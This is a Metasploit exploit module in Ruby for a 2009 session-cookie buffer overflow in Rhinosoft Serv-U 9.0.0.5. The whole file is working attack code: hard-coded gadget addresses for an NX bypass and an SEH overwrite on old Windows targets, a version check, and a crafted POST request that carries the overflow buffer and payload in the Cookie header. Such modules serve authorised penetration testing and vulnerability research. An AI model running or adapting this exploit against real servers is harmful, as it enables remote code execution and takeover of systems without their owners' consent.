Rhinosoft Serv-U Session Cookie Buffer Overflow

`##  
# $Id: servu_session_cookie.rb 7724 2009-12-06 05:50:37Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.  
Sending a specially crafted POST request with an overly long session cookie  
string, an attacker may be able to execute arbitrary code.  
},  
'Author' =>  
[  
'Nikolas Rangos <nikolaos[at]rangos.de>',  
'M.Yanagishita <megumi1990[at]gmail.com>',   
'jduck'  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'OSVDB', '59772' ],  
[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",  
'StackAdjustment' => -4096,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2003 SP2 English (NX)',  
{  
'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32  
'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll  
'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll  
'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll  
'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll  
'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll  
}  
],  
  
[ 'Windows 2000 SP4 and XP SP3 English (SEH)',  
{  
'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll  
}  
],  
],  
  
'DefaultTarget' => 1,  
'DisclosureDate' => 'Nov 1 2009'))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
  
end  
  
def check  
connect  
sock.put("\r\n\r\n") # works  
res = sock.get(-1,3)  
disconnect  
  
if (res =~ /Server: Serv-U\/9\.0\.0\.5/)  
return Exploit::CheckCode::Vulnerable  
elsif (res =~ /Server: Serv-U/)  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
# hit end of stack..  
sploit = Rex::Text.rand_text(1000) * 75  
  
if (target.name =~ /NX/)  
  
# new SEH handler (point esp into buffer)  
sploit[41000,4] = [target['FixESP']].pack('V')  
  
# stack frame to bypass NX  
sploit[52+0,4] = [target['FixESI']].pack('V')  
sploit[52+4,4] = [0x10200].pack('V')  
sploit[52+8,4] = [target['FixEBP']].pack('V')  
sploit[52+12,4] = [target['Ret']].pack('V')  
sploit[52+16,4] = [target['JmpESP']].pack('V')  
sploit[52+20,4] = [target['DisableNX']].pack('V')  
sploit[52+24,2] = "\xeb\x20"  
sploit[52+40,payload.encoded.length] = payload.encoded  
  
else  
  
seh = generate_seh_record(target.ret)  
sploit[40996,seh.length] = seh  
sploit[41004,payload.encoded.length] = payload.encoded  
  
end  
  
req = "POST / HTTP/1.1\r\n"  
req << "Host: #{rhost}:#{rport}\r\n"  
req << "Cookie: Session=_"  
req << sploit.unpack('H*')[0]  
req << "\r\n"  
req << "\r\n";  
  
connect  
print_status("Trying target #{target.name}..." % target['Ret'])  
sock.put(req)  
  
select(nil, nil, nil, 1.5)  
handler  
disconnect  
end   
  
end  
`